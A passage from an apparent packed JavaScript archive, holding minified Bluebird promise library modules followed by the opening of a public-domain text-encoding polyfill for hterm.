"+c.classString(o)).reason();return void this._promise._rejectCallback(u,!1)}return 0===o.length?void(-5===n?this._resolveEmptyArray():this._resolve(s(n))):void this._iterate(o)},a.prototype._iterate=function(t){var n=this.getActualLength(t.length);this._length=n,this._values=this.shouldCopyValues()?new Array(n):this._values;for(var i=this._promise,o=!1,s=null,a=0;n>a;++a){var c=r(t[a],i);c instanceof e?(c=c._target(),s=c._bitField):s=null,o?null!==s&&c.suppressUnhandledRejections():null!==s?0===(50397184&s)?(c._proxy(this,a),this._values[a]=c):o=0!==(33554432&s)?this._promiseFulfilled(c._value(),a):0!==(16777216&s)?this._promiseRejected(c._reason(),a):this._promiseCancelled(a):o=this._promiseFulfilled(c,a)}o||i._setAsyncGuaranteed()},a.prototype._isResolved=function(){return null===this._values},a.prototype._resolve=function(t){this._values=null,this._promise._fulfill(t)},a.prototype._cancel=function(){!this._isResolved()&&this._promise.isCancellable()&&(this._values=null,this._promise._cancel())},a.prototype._reject=function(t){this._values=null,this._promise._rejectCallback(t,!1)},a.prototype._promiseFulfilled=function(t,e){this._values[e]=t;var n=++this._totalResolved;return n>=this._length?(this._resolve(this._values),!0):!1},a.prototype._promiseCancelled=function(){return this._cancel(),!0},a.prototype._promiseRejected=function(t){return this._totalResolved++,this._reject(t),!0},a.prototype._resultCancelled=function(){if(!this._isResolved()){var t=this._values;if(this._cancel(),t instanceof e)t.cancel();else for(var n=0;n<t.length;++n)t[n]instanceof e&&t[n].cancel()}},a.prototype.shouldCopyValues=function(){return!0},a.prototype.getActualLength=function(t){return t},a}},{"./util":36}],24:[function(t,e,n){"use strict";e.exports=function(e,n){function r(t){return!C.test(t)}function i(t){try{return t.__isPromisified__===!0}catch(e){return!1}}function o(t,e,n){var r=f.getDataPropertyOrDefault(t,e+n,b);return r?i(r):!1}function s(t,e,n){for(var r=0;r<t.length;r+=2){var i=t[r];if(n.test(i))for(var o=i.replace(n,""),s=0;s<t.length;s+=2)if(t[s]===o)throw new g("Cannot promisify an API that has normal methods with '%s'-suffix\n\n    See http://goo.gl/MqrFmX\n".replace("%s",e))}}function a(t,e,n,r){for(var a=f.inheritedDataKeys(t),c=[],l=0;l<a.length;++l){var u=a[l],p=t[u],h=r===j?!0:j(u,p,t);"function"!=typeof p||i(p)||o(t,u,e)||!r(u,p,t,h)||c.push(u,p)}return s(c,e,n),c}function c(t,r,i,o,s,a){function c(){var i=r;r===h&&(i=this);var o=new e(n);o._captureStackTrace();var s="string"==typeof u&&this!==l?this[u]:t,c=_(o,a);try{s.apply(i,d(arguments,c))}catch(p){o._rejectCallback(v(p),!0,!0)}return o._isFateSealed()||o._setAsyncGuaranteed(),o}var l=function(){return this}(),u=t;return"string"==typeof u&&(t=o),f.notEnumerableProp(c,"__isPromisified__",!0),c}function l(t,e,n,r,i){for(var o=new RegExp(k(e)+"$"),s=a(t,e,o,n),c=0,l=s.length;l>c;c+=2){var u=s[c],p=s[c+1],_=u+e;if(r===E)t[_]=E(u,h,u,p,e,i);else{var d=r(p,function(){return E(u,h,u,p,e,i)});f.notEnumerableProp(d,"__isPromisified__",!0),t[_]=d}}return f.toFastProperties(t),t}function u(t,e,n){return E(t,e,void 0,t,null,n)}var p,h={},f=t("./util"),_=t("./nodeback"),d=f.withAppended,v=f.maybeWrapAsError,y=f.canEvaluate,g=t("./errors").TypeError,m="Async",b={__isPromisified__:!0},w=["arity","length","name","arguments","caller","callee","prototype","__isPromisified__"],C=new RegExp("^(?:"+w.join("|")+")$"),j=function(t){return f.isIdentifier(t)&&"_"!==t.charAt(0)&&"constructor"!==t},k=function(t){return t.replace(/([$])/,"\\$")},E=y?p:c;e.promisify=function(t,e){if("function"!=typeof t)throw new g("expecting a function but got "+f.classString(t));if(i(t))return t;e=Object(e);var n=void 0===e.context?h:e.context,o=!!e.multiArgs,s=u(t,n,o);return f.copyDescriptors(t,s,r),s},e.promisifyAll=function(t,e){if("function"!=typeof t&&"object"!=typeof t)throw new g("the target of promisifyAll must be an object or a function\n\n    See http://goo.gl/MqrFmX\n");e=Object(e);var n=!!e.multiArgs,r=e.suffix;"string"!=typeof r&&(r=m);var i=e.filter;"function"!=typeof i&&(i=j);var o=e.promisifier;if("function"!=typeof o&&(o=E),!f.isIdentifier(r))throw new RangeError("suffix must be a valid identifier\n\n    See http://goo.gl/MqrFmX\n");for(var s=f.inheritedDataKeys(t),a=0;a<s.length;++a){var c=t[s[a]];"constructor"!==s[a]&&f.isClass(c)&&(l(c.prototype,r,i,o,n),l(c,r,i,o,n))}return l(t,r,i,o,n)}}},{"./errors":12,"./nodeback":20,"./util":36}],25:[function(t,e,n){"use strict";e.exports=function(e,n,r,i){function o(t){var e,n=!1;if(void 0!==a&&t instanceof a)e=p(t),n=!0;else{var r=u.keys(t),i=r.length;e=new Array(2*i);for(var o=0;i>o;++o){var s=r[o];e[o]=t[s],e[o+i]=s}}this.constructor$(e),this._isMap=n,this._init$(void 0,-3)}function s(t){var n,s=r(t);return l(s)?(n=s instanceof e?s._then(e.props,void 0,void 0,void 0,void 0):new o(s).promise(),s instanceof e&&n._propagateFrom(s,2),n):i("cannot await properties of a non-object\n\n    See http://goo.gl/MqrFmX\n")}var a,c=t("./util"),l=c.isObject,u=t("./es5");"function"==typeof Map&&(a=Map);var p=function(){function t(t,r){this[e]=t,this[e+n]=r,e++}var e=0,n=0;return function(r){n=r.size,e=0;var i=new Array(2*r.size);return r.forEach(t,i),i}}(),h=function(t){for(var e=new a,n=t.length/2|0,r=0;n>r;++r){var i=t[n+r],o=t[r];e.set(i,o)}return e};c.inherits(o,n),o.prototype._init=function(){},o.prototype._promiseFulfilled=function(t,e){this._values[e]=t;var n=++this._totalResolved;if(n>=this._length){var r;if(this._isMap)r=h(this._values);else{r={};for(var i=this.length(),o=0,s=this.length();s>o;++o)r[this._values[o+i]]=this._values[o]}return this._resolve(r),!0}return!1},o.prototype.shouldCopyValues=function(){return!1},o.prototype.getActualLength=function(t){return t>>1},e.prototype.props=function(){return s(this)},e.props=function(t){return s(t)}}},{"./es5":13,"./util":36}],26:[function(t,e,n){"use strict";function r(t,e,n,r,i){for(var o=0;i>o;++o)n[o+r]=t[o+e],t[o+e]=void 0}function i(t){this._capacity=t,this._length=0,this._front=0}i.prototype._willBeOverCapacity=function(t){return this._capacity<t},i.prototype._pushOne=function(t){var e=this.length();this._checkCapacity(e+1);var n=this._front+e&this._capacity-1;this[n]=t,this._length=e+1},i.prototype._unshiftOne=function(t){var e=this._capacity;this._checkCapacity(this.length()+1);var n=this._front,r=(n-1&e-1^e)-e;this[r]=t,this._front=r,this._length=this.length()+1},i.prototype.unshift=function(t,e,n){this._unshiftOne(n),this._unshiftOne(e),this._unshiftOne(t)},i.prototype.push=function(t,e,n){var r=this.length()+3;if(this._willBeOverCapacity(r))return this._pushOne(t),this._pushOne(e),void this._pushOne(n);var i=this._front+r-3;this._checkCapacity(r);var o=this._capacity-1;this[i+0&o]=t,this[i+1&o]=e,this[i+2&o]=n,this._length=r},i.prototype.shift=function(){var t=this._front,e=this[t];return this[t]=void 0,this._front=t+1&this._capacity-1,this._length--,e},i.prototype.length=function(){return this._length},i.prototype._checkCapacity=function(t){this._capacity<t&&this._resizeTo(this._capacity<<1)},i.prototype._resizeTo=function(t){var e=this._capacity;this._capacity=t;var n=this._front,i=this._length,o=n+i&e-1;r(this,0,this,e,o)},e.exports=i},{}],27:[function(t,e,n){"use strict";e.exports=function(e,n,r,i){function o(t,o){var c=r(t);if(c instanceof e)return a(c);if(t=s.asArray(t),null===t)return i("expecting an array or an iterable object but got "+s.classString(t));var l=new e(n);void 0!==o&&l._propagateFrom(o,3);for(var u=l._fulfill,p=l._reject,h=0,f=t.length;f>h;++h){var _=t[h];(void 0!==_||h in t)&&e.cast(_)._then(u,p,void 0,l,null)}return l}var s=t("./util"),a=function(t){return t.then(function(e){return o(e,t)})};e.race=function(t){return o(t,void 0)},e.prototype.race=function(){return o(this,void 0)}}},{"./util":36}],28:[function(t,e,n){"use strict";e.exports=function(e,n,r,i,o,s){function a(t,n,r,i){this.constructor$(t);var s=h();this._fn=null===s?n:s.bind(n),void 0!==r&&(r=e.resolve(r),r._attachCancellationCallback(this)),this._initialValue=r,this._currentCancellable=null,this._eachValues=i===o?[]:void 0,this._promise._captureStackTrace(),this._init$(void 0,-5)}function c(t,e){this.isFulfilled()?e._resolve(t):e._reject(t)}function l(t,e,n,i){if("function"!=typeof e)return r("expecting a function but got "+f.classString(e));var o=new a(t,e,n,i);return o.promise()}function u(t){this.accum=t,this.array._gotAccum(t);var n=i(this.value,this.array._promise);return n instanceof e?(this.array._currentCancellable=n,n._then(p,void 0,void 0,this,void 0)):p.call(this,n)}function p(t){var n=this.array,r=n._promise,i=_(n._fn);r._pushContext();var o;o=void 0!==n._eachValues?i.call(r._boundValue(),t,this.index,this.length):i.call(r._boundValue(),this.accum,t,this.index,this.length),o instanceof e&&(n._currentCancellable=o);var a=r._popContext();return s.checkForgottenReturns(o,a,void 0!==n._eachValues?"Promise.each":"Promise.reduce",r),o}var h=e._getDomain,f=t("./util"),_=f.tryCatch;f.inherits(a,n),a.prototype._gotAccum=function(t){void 0!==this._eachValues&&t!==o&&this._eachValues.push(t)},a.prototype._eachComplete=function(t){return this._eachValues.push(t),this._eachValues},a.prototype._init=function(){},a.prototype._resolveEmptyArray=function(){this._resolve(void 0!==this._eachValues?this._eachValues:this._initialValue)},a.prototype.shouldCopyValues=function(){return!1},a.prototype._resolve=function(t){this._promise._resolveCallback(t),this._values=null},a.prototype._resultCancelled=function(t){return t===this._initialValue?this._cancel():void(this._isResolved()||(this._resultCancelled$(),this._currentCancellable instanceof e&&this._currentCancellable.cancel(),this._initialValue instanceof e&&this._initialValue.cancel()))},a.prototype._iterate=function(t){this._values=t;var n,r,i=t.length;if(void 0!==this._initialValue?(n=this._initialValue,r=0):(n=e.resolve(t[0]),r=1),this._currentCancellable=n,!n.isRejected())for(;i>r;++r){var o={accum:null,value:t[r],index:r,length:i,array:this};n=n._then(u,void 0,void 0,o,void 0)}void 0!==this._eachValues&&(n=n._then(this._eachComplete,void 0,void 0,this,void 0)),n._then(c,c,void 0,n,this)},e.prototype.reduce=function(t,e){return l(this,t,e,null)},e.reduce=function(t,e,n,r){return l(t,e,n,r)}}},{"./util":36}],29:[function(t,e,n){"use strict";var r,i=t("./util"),o=function(){throw new Error("No async scheduler available\n\n    See http://goo.gl/MqrFmX\n")};if(i.isNode&&"undefined"==typeof MutationObserver){var s=global.setImmediate,a=process.nextTick;r=i.isRecentNode?function(t){s.call(global,t)}:function(t){a.call(process,t)}}else r="undefined"==typeof MutationObserver||"undefined"!=typeof window&&window.navigator&&window.navigator.standalone?"undefined"!=typeof setImmediate?function(t){setImmediate(t)}:"undefined"!=typeof setTimeout?function(t){setTimeout(t,0)}:o:function(){var t=document.createElement("div"),e={attributes:!0},n=!1,r=document.createElement("div"),i=new MutationObserver(function(){t.classList.toggle("foo"),n=!1});i.observe(r,e);var o=function(){n||(n=!0,r.classList.toggle("foo"))};return function(n){var r=new MutationObserver(function(){r.disconnect(),n()});r.observe(t,e),o()}}();e.exports=r},{"./util":36}],30:[function(t,e,n){"use strict";e.exports=function(e,n,r){function i(t){this.constructor$(t)}var o=e.PromiseInspection,s=t("./util");s.inherits(i,n),i.prototype._promiseResolved=function(t,e){this._values[t]=e;var n=++this._totalResolved;return n>=this._length?(this._resolve(this._values),!0):!1},i.prototype._promiseFulfilled=function(t,e){var n=new o;return n._bitField=33554432,n._settledValueField=t,this._promiseResolved(e,n)},i.prototype._promiseRejected=function(t,e){var n=new o;return n._bitField=16777216,n._settledValueField=t,this._promiseResolved(e,n)},e.settle=function(t){return r.deprecated(".settle()",".reflect()"),new i(t).promise()},e.prototype.settle=function(){return e.settle(this)}}},{"./util":36}],31:[function(t,e,n){"use strict";e.exports=function(e,n,r){function i(t){this.constructor$(t),this._howMany=0,this._unwrap=!1,this._initialized=!1}function o(t,e){if((0|e)!==e||0>e)return r("expecting a positive integer\n\n    See http://goo.gl/MqrFmX\n");var n=new i(t),o=n.promise();return n.setHowMany(e),n.init(),o}var s=t("./util"),a=t("./errors").RangeError,c=t("./errors").AggregateError,l=s.isArray,u={};s.inherits(i,n),i.prototype._init=function(){if(this._initialized){if(0===this._howMany)return void this._resolve([]);this._init$(void 0,-5);var t=l(this._values);!this._isResolved()&&t&&this._howMany>this._canPossiblyFulfill()&&this._reject(this._getRangeError(this.length()))}},i.prototype.init=function(){this._initialized=!0,this._init()},i.prototype.setUnwrap=function(){this._unwrap=!0},i.prototype.howMany=function(){return this._howMany},i.prototype.setHowMany=function(t){this._howMany=t},i.prototype._promiseFulfilled=function(t){return this._addFulfilled(t),this._fulfilled()===this.howMany()?(this._values.length=this.howMany(),1===this.howMany()&&this._unwrap?this._resolve(this._values[0]):this._resolve(this._values),!0):!1},i.prototype._promiseRejected=function(t){return this._addRejected(t),this._checkOutcome()},i.prototype._promiseCancelled=function(){return this._values instanceof e||null==this._values?this._cancel():(this._addRejected(u),this._checkOutcome())},i.prototype._checkOutcome=function(){if(this.howMany()>this._canPossiblyFulfill()){for(var t=new c,e=this.length();e<this._values.length;++e)this._values[e]!==u&&t.push(this._values[e]);return t.length>0?this._reject(t):this._cancel(),!0}return!1},i.prototype._fulfilled=function(){return this._totalResolved},i.prototype._rejected=function(){return this._values.length-this.length()},i.prototype._addRejected=function(t){this._values.push(t)},i.prototype._addFulfilled=function(t){this._values[this._totalResolved++]=t},i.prototype._canPossiblyFulfill=function(){return this.length()-this._rejected()},i.prototype._getRangeError=function(t){var e="Input array must contain at least "+this._howMany+" items but contains only "+t+" items";return new a(e)},i.prototype._resolveEmptyArray=function(){this._reject(this._getRangeError(0))},e.some=function(t,e){return o(t,e)},e.prototype.some=function(t){return o(this,t)},e._SomePromiseArray=i}},{"./errors":12,"./util":36}],32:[function(t,e,n){"use strict";e.exports=function(t){function e(t){void 0!==t?(t=t._target(),
this._bitField=t._bitField,this._settledValueField=t._isFateSealed()?t._settledValue():void 0):(this._bitField=0,this._settledValueField=void 0)}e.prototype._settledValue=function(){return this._settledValueField};var n=e.prototype.value=function(){if(!this.isFulfilled())throw new TypeError("cannot get fulfillment value of a non-fulfilled promise\n\n    See http://goo.gl/MqrFmX\n");return this._settledValue()},r=e.prototype.error=e.prototype.reason=function(){if(!this.isRejected())throw new TypeError("cannot get rejection reason of a non-rejected promise\n\n    See http://goo.gl/MqrFmX\n");return this._settledValue()},i=e.prototype.isFulfilled=function(){return 0!==(33554432&this._bitField)},o=e.prototype.isRejected=function(){return 0!==(16777216&this._bitField)},s=e.prototype.isPending=function(){return 0===(50397184&this._bitField)},a=e.prototype.isResolved=function(){return 0!==(50331648&this._bitField)};e.prototype.isCancelled=t.prototype._isCancelled=function(){return 65536===(65536&this._bitField)},t.prototype.isCancelled=function(){return this._target()._isCancelled()},t.prototype.isPending=function(){return s.call(this._target())},t.prototype.isRejected=function(){return o.call(this._target())},t.prototype.isFulfilled=function(){return i.call(this._target())},t.prototype.isResolved=function(){return a.call(this._target())},t.prototype.value=function(){return n.call(this._target())},t.prototype.reason=function(){var t=this._target();return t._unsetRejectionIsUnhandled(),r.call(t)},t.prototype._value=function(){return this._settledValue()},t.prototype._reason=function(){return this._unsetRejectionIsUnhandled(),this._settledValue()},t.PromiseInspection=e}},{}],33:[function(t,e,n){"use strict";e.exports=function(e,n){function r(t,r){if(u(t)){if(t instanceof e)return t;var i=o(t);if(i===l){r&&r._pushContext();var c=e.reject(i.e);return r&&r._popContext(),c}if("function"==typeof i){if(s(t)){var c=new e(n);return t._then(c._fulfill,c._reject,void 0,c,null),c}return a(t,i,r)}}return t}function i(t){return t.then}function o(t){try{return i(t)}catch(e){return l.e=e,l}}function s(t){return p.call(t,"_promise0")}function a(t,r,i){function o(t){a&&(a._resolveCallback(t),a=null)}function s(t){a&&(a._rejectCallback(t,p,!0),a=null)}var a=new e(n),u=a;i&&i._pushContext(),a._captureStackTrace(),i&&i._popContext();var p=!0,h=c.tryCatch(r).call(t,o,s);return p=!1,a&&h===l&&(a._rejectCallback(h.e,!0,!0),a=null),u}var c=t("./util"),l=c.errorObj,u=c.isObject,p={}.hasOwnProperty;return r}},{"./util":36}],34:[function(t,e,n){"use strict";e.exports=function(e,n,r){function i(t){this.handle=t}function o(t){return clearTimeout(this.handle),t}function s(t){throw clearTimeout(this.handle),t}var a=t("./util"),c=e.TimeoutError;i.prototype._resultCancelled=function(){clearTimeout(this.handle)};var l=function(t){return u(+this).thenReturn(t)},u=e.delay=function(t,o){var s,a;return void 0!==o?(s=e.resolve(o)._then(l,null,null,t,void 0),r.cancellation()&&o instanceof e&&s._setOnCancel(o)):(s=new e(n),a=setTimeout(function(){s._fulfill()},+t),r.cancellation()&&s._setOnCancel(new i(a))),s._setAsyncGuaranteed(),s};e.prototype.delay=function(t){return u(t,this)};var p=function(t,e,n){var r;r="string"!=typeof e?e instanceof Error?e:new c("operation timed out"):new c(e),a.markAsOriginatingFromRejection(r),t._attachExtraTrace(r),t._reject(r),null!=n&&n.cancel()};e.prototype.timeout=function(t,e){t=+t;var n,a,c=new i(setTimeout(function(){n.isPending()&&p(n,e,a)},t));return r.cancellation()?(a=this.then(),n=a._then(o,s,void 0,c,void 0),n._setOnCancel(c)):n=this._then(o,s,void 0,c,void 0),n}}},{"./util":36}],35:[function(t,e,n){"use strict";e.exports=function(e,n,r,i,o,s){function a(t){setTimeout(function(){throw t},0)}function c(t){var e=r(t);return e!==t&&"function"==typeof t._isDisposable&&"function"==typeof t._getDisposer&&t._isDisposable()&&e._setDisposable(t._getDisposer()),e}function l(t,n){function i(){if(s>=l)return u._fulfill();var o=c(t[s++]);if(o instanceof e&&o._isDisposable()){try{o=r(o._getDisposer().tryDispose(n),t.promise)}catch(p){return a(p)}if(o instanceof e)return o._then(i,a,null,null,null)}i()}var s=0,l=t.length,u=new e(o);return i(),u}function u(t,e,n){this._data=t,this._promise=e,this._context=n}function p(t,e,n){this.constructor$(t,e,n)}function h(t){return u.isDisposer(t)?(this.resources[this.index]._setDisposable(t),t.promise()):t}function f(t){this.length=t,this.promise=null,this[t-1]=null}var _=t("./util"),d=t("./errors").TypeError,v=t("./util").inherits,y=_.errorObj,g=_.tryCatch;u.prototype.data=function(){return this._data},u.prototype.promise=function(){return this._promise},u.prototype.resource=function(){return this.promise().isFulfilled()?this.promise().value():null},u.prototype.tryDispose=function(t){var e=this.resource(),n=this._context;void 0!==n&&n._pushContext();var r=null!==e?this.doDispose(e,t):null;return void 0!==n&&n._popContext(),this._promise._unsetDisposable(),this._data=null,r},u.isDisposer=function(t){return null!=t&&"function"==typeof t.resource&&"function"==typeof t.tryDispose},v(p,u),p.prototype.doDispose=function(t,e){var n=this.data();return n.call(t,t,e)},f.prototype._resultCancelled=function(){for(var t=this.length,n=0;t>n;++n){var r=this[n];r instanceof e&&r.cancel()}},e.using=function(){var t=arguments.length;if(2>t)return n("you must pass at least 2 arguments to Promise.using");var i=arguments[t-1];if("function"!=typeof i)return n("expecting a function but got "+_.classString(i));var o,a=!0;2===t&&Array.isArray(arguments[0])?(o=arguments[0],t=o.length,a=!1):(o=arguments,t--);for(var c=new f(t),p=0;t>p;++p){var d=o[p];if(u.isDisposer(d)){var v=d;d=d.promise(),d._setDisposable(v)}else{var m=r(d);m instanceof e&&(d=m._then(h,null,null,{resources:c,index:p},void 0))}c[p]=d}for(var b=new Array(c.length),p=0;p<b.length;++p)b[p]=e.resolve(c[p]).reflect();var w=e.all(b).then(function(t){for(var e=0;e<t.length;++e){var n=t[e];if(n.isRejected())return y.e=n.error(),y;if(!n.isFulfilled())return void w.cancel();t[e]=n.value()}C._pushContext(),i=g(i);var r=a?i.apply(void 0,t):i(t),o=C._popContext();return s.checkForgottenReturns(r,o,"Promise.using",C),r}),C=w.lastly(function(){var t=new e.PromiseInspection(w);return l(c,t)});return c.promise=C,C._setOnCancel(c),C},e.prototype._setDisposable=function(t){this._bitField=131072|this._bitField,this._disposer=t},e.prototype._isDisposable=function(){return(131072&this._bitField)>0},e.prototype._getDisposer=function(){return this._disposer},e.prototype._unsetDisposable=function(){this._bitField=-131073&this._bitField,this._disposer=void 0},e.prototype.disposer=function(t){if("function"==typeof t)return new p(t,this,i());throw new d}}},{"./errors":12,"./util":36}],36:[function(t,e,n){"use strict";function r(){try{var t=x;return x=null,t.apply(this,arguments)}catch(e){return F.e=e,F}}function i(t){return x=t,r}function o(t){return null==t||t===!0||t===!1||"string"==typeof t||"number"==typeof t}function s(t){return"function"==typeof t||"object"==typeof t&&null!==t}function a(t){return o(t)?new Error(v(t)):t}function c(t,e){var n,r=t.length,i=new Array(r+1);for(n=0;r>n;++n)i[n]=t[n];return i[n]=e,i}function l(t,e,n){if(!k.isES5)return{}.hasOwnProperty.call(t,e)?t[e]:void 0;var r=Object.getOwnPropertyDescriptor(t,e);return null!=r?null==r.get&&null==r.set?r.value:n:void 0}function u(t,e,n){if(o(t))return t;var r={value:n,configurable:!0,enumerable:!1,writable:!0};return k.defineProperty(t,e,r),t}function p(t){throw t}function h(t){try{if("function"==typeof t){var e=k.names(t.prototype),n=k.isES5&&e.length>1,r=e.length>0&&!(1===e.length&&"constructor"===e[0]),i=O.test(t+"")&&k.names(t).length>0;if(n||r||i)return!0}return!1}catch(o){return!1}}function f(t){function e(){}e.prototype=t;for(var n=8;n--;)new e;return t}function _(t){return S.test(t)}function d(t,e,n){for(var r=new Array(t),i=0;t>i;++i)r[i]=e+i+n;return r}function v(t){try{return t+""}catch(e){return"[no string representation]"}}function y(t){return null!==t&&"object"==typeof t&&"string"==typeof t.message&&"string"==typeof t.name}function g(t){try{u(t,"isOperational",!0)}catch(e){}}function m(t){return null==t?!1:t instanceof Error.__BluebirdErrorTypes__.OperationalError||t.isOperational===!0}function b(t){return y(t)&&k.propertyIsWritable(t,"stack")}function w(t){return{}.toString.call(t)}function C(t,e,n){for(var r=k.names(t),i=0;i<r.length;++i){var o=r[i];if(n(o))try{k.defineProperty(e,o,k.getDescriptor(t,o))}catch(s){}}}function j(t,e){return I?process.env[t]:e}var k=t("./es5"),E="undefined"==typeof navigator,F={e:{}},x,T="undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:void 0!==this?this:null,R=function(t,e){function n(){this.constructor=t,this.constructor$=e;for(var n in e.prototype)r.call(e.prototype,n)&&"$"!==n.charAt(n.length-1)&&(this[n+"$"]=e.prototype[n])}var r={}.hasOwnProperty;return n.prototype=e.prototype,t.prototype=new n,t.prototype},P=function(){var t=[Array.prototype,Object.prototype,Function.prototype],e=function(e){for(var n=0;n<t.length;++n)if(t[n]===e)return!0;return!1};if(k.isES5){var n=Object.getOwnPropertyNames;return function(t){for(var r=[],i=Object.create(null);null!=t&&!e(t);){var o;try{o=n(t)}catch(s){return r}for(var a=0;a<o.length;++a){var c=o[a];if(!i[c]){i[c]=!0;var l=Object.getOwnPropertyDescriptor(t,c);null!=l&&null==l.get&&null==l.set&&r.push(c)}}t=k.getPrototypeOf(t)}return r}}var r={}.hasOwnProperty;return function(n){if(e(n))return[];var i=[];t:for(var o in n)if(r.call(n,o))i.push(o);else{for(var s=0;s<t.length;++s)if(r.call(t[s],o))continue t;i.push(o)}return i}}(),O=/this\s*\.\s*\S+\s*=/,S=/^[a-z$_][a-z$_0-9]*$/i,A=function(){return"stack"in new Error?function(t){return b(t)?t:new Error(v(t))}:function(t){if(b(t))return t;try{throw new Error(v(t))}catch(e){return e}}}(),D=function(t){return k.isArray(t)?t:null};if("undefined"!=typeof Symbol&&Symbol.iterator){var V="function"==typeof Array.from?function(t){return Array.from(t)}:function(t){for(var e,n=[],r=t[Symbol.iterator]();!(e=r.next()).done;)n.push(e.value);return n};D=function(t){return k.isArray(t)?t:null!=t&&"function"==typeof t[Symbol.iterator]?V(t):null}}var I="undefined"!=typeof process&&"[object process]"===w(process).toLowerCase(),L={isClass:h,isIdentifier:_,inheritedDataKeys:P,getDataPropertyOrDefault:l,thrower:p,isArray:k.isArray,asArray:D,notEnumerableProp:u,isPrimitive:o,isObject:s,isError:y,canEvaluate:E,errorObj:F,tryCatch:i,inherits:R,withAppended:c,maybeWrapAsError:a,toFastProperties:f,filledRange:d,toString:v,canAttachTrace:b,ensureErrorObject:A,originatesFromRejection:m,markAsOriginatingFromRejection:g,classString:w,copyDescriptors:C,hasDevTools:"undefined"!=typeof chrome&&chrome&&"function"==typeof chrome.loadTimes,isNode:I,env:j,global:T};L.isRecentNode=L.isNode&&function(){var t=process.versions.node.split(".").map(Number);return 0===t[0]&&t[1]>10||t[0]>0}(),L.isNode&&L.toFastProperties(process);try{throw new Error}catch(H){L.lastLineError=H}e.exports=L},{"./es5":13}]},{},[4])(4)}),"undefined"!=typeof window&&null!==window?window.P=window.Promise:"undefined"!=typeof self&&null!==self&&(self.P=self.Promise);޹"hterm\encoding.jsP3f// This is free and unencumbered software released into the public domain.
// See LICENSE.md for more information.

/**
* @fileoverview Global |this| required for resolving indexes in node.
* @suppress {globalThis}
*/
(function(global) {
'use strict';

// If we're in node require encoding-indexes and attach it to the global.
if (typeof module !== "undefined" && module.exports &&
!global["encoding-indexes"]) {
global["encoding-indexes"] =
require("./encoding-indexes.js")["encoding-indexes"];
}

//
// Utilities
//

/**
* @param {number} a The number to test.
* @param {number} min The minimum value in the range, inclusive.
* @param {number} max The maximum value in the range, inclusive.
* @return {boolean} True if a >= min and a <= max.
*/
function inRange(a, min, max) {
return min <= a && a <= max;
}

/**
* @param {!Array.<*>} array The array to check.
* @param {*} item The item to look for in the array.
* @return {boolean} True if the item appears in the array.
*/
function includes(array, item) {
return array.indexOf(item) !== -1;
}

var floor = Math.floor;

/**
* @param {*} o
* @return {Object}
*/
function ToDictionary(o) {
if (o === undefined) return {};
if (o === Object(o)) return o;
throw TypeError('Could not convert argument to dictionary');
}

/**
* @param {string} string Input string of UTF-16 code units.
* @return {!Array.<number>} Code points.
*/
function stringToCodePoints(string) {
// https://heycam.github.io/webidl/#dfn-obtain-unicode

// 1. Let S be the DOMString value.
var s = String(string);

// 2. Let n be the length of S.
var n = s.length;

// 3. Initialize i to 0.
var i = 0;

// 4. Initialize U to be an empty sequence of Unicode characters.
var u = [];

// 5. While i < n:
while (i < n) {

// 1. Let c be the code unit in S at index i.
var c = s.charCodeAt(i);

// 2. Depending on the value of c:

// c < 0xD800 or c > 0xDFFF
if (c < 0xD800 || c > 0xDFFF) {
// Append to U the Unicode character with code point c.
u.push(c);
}

// 0xDC00 ≤ c ≤ 0xDFFF
else if (0xDC00 <= c && c <= 0xDFFF) {
// Append to U a U+FFFD REPLACEMENT CHARACTER.
u.push(0xFFFD);
}

// 0xD800 ≤ c ≤ 0xDBFF
else if (0xD800 <= c && c <= 0xDBFF) {
// 1. If i = n−1, then append to U a U+FFFD REPLACEMENT
// CHARACTER.
if (i === n - 1) {
u.push(0xFFFD);
}
// 2. Otherwise, i < n−1:
else {
// 1. Let d be the code unit in S at index i+1.
var d = s.charCodeAt(i + 1);

// 2. If 0xDC00 ≤ d ≤ 0xDFFF, then:
if (0xDC00 <= d && d <= 0xDFFF) {
// 1. Let a be c & 0x3FF.
var a = c & 0x3FF;

// 2. Let b be d & 0x3FF.
var b = d & 0x3FF;

// 3. Append to U the Unicode character with code point
// 2^16+2^10*a+b.
u.push(0x10000 + (a << 10) + b);

// 4. Set i to i+1.
i += 1;
}

// 3. Otherwise, d < 0xDC00 or d > 0xDFFF. Append to U a
// U+FFFD REPLACEMENT CHARACTER.
else  {
u.push(0xFFFD);
}
}
}

// 3. Set i to i+1.
i += 1;
}

// 6. Return U.
return u;
}

/**
* @param {!Array.<number>} code_points Array of code points.
* @return {string} string String of UTF-16 code units.
*/
function codePointsToString(code_points) {
var s = '';
for (var i = 0; i < code_points.length; ++i) {
var cp = code_points[i];
if (cp <= 0xFFFF) {
s += String.fromCharCode(cp);
} else {
cp -= 0x10000;
s += String.fromCharCode((cp >> 10) + 0xD800,
(cp & 0x3FF) + 0xDC00);
}
}
return s;
}


//
// Implementation of Encoding specification
// https://encoding.spec.whatwg.org/
//

//
// 4. Terminology
//

/**
* An ASCII byte is a byte in the range 0x00 to 0x7F, inclusive.
* @param {number} a The number to test.
* @return {boolean} True if a is in the range 0x00 to 0x7F, inclusive.
*/
function isASCIIByte(a) {
return 0x00 <= a && a <= 0x7F;
}

/**
* An ASCII code point is a code point in the range U+0000 to
* U+007F, inclusive.
*/
var isASCIICodePoint = isASCIIByte;


/**
* End-of-stream is a special token that signifies no more tokens
* are in the stream.
* @const
*/ var end_of_stream = -1;

/**
* A stream represents an ordered sequence of tokens.
*
* @constructor
* @param {!(Array.<number>|Uint8Array)} tokens Array of tokens that provide
* the stream.
*/
function Stream(tokens) {
/** @type {!Array.<number>} */
this.tokens = [].slice.call(tokens);
// Reversed as push/pop is more efficient than shift/unshift.
this.tokens.reverse();
}

Stream.prototype = {
/**
* @return {boolean} True if end-of-stream has been hit.
*/
endOfStream: function() {
return !this.tokens.length;
},

/**
* When a token is read from a stream, the first token in the
* stream must be returned and subsequently removed, and
* end-of-stream must be returned otherwise.
*
* @return {number} Get the next token from the stream, or
* end_of_stream.
*/
read: function() {
if (!this.tokens.length)
return end_of_stream;
return this.tokens.pop();
},

/**
* When one or more tokens are prepended to a stream, those tokens
* must be inserted, in given order, before the first token in the
* stream.
*
* @param {(number|!Array.<number>)} token The token(s) to prepend to the
* stream.
*/
prepend: function(token) {
if (Array.isArray(token)) {
var tokens = /**@type {!Array.<number>}*/(token);
while (tokens.length)
this.tokens.push(tokens.pop());
} else {
this.tokens.push(token);
}
},

/**
* When one or more tokens are pushed to a stream, those tokens
* must be inserted, in given order, after the last token in the
* stream.
*
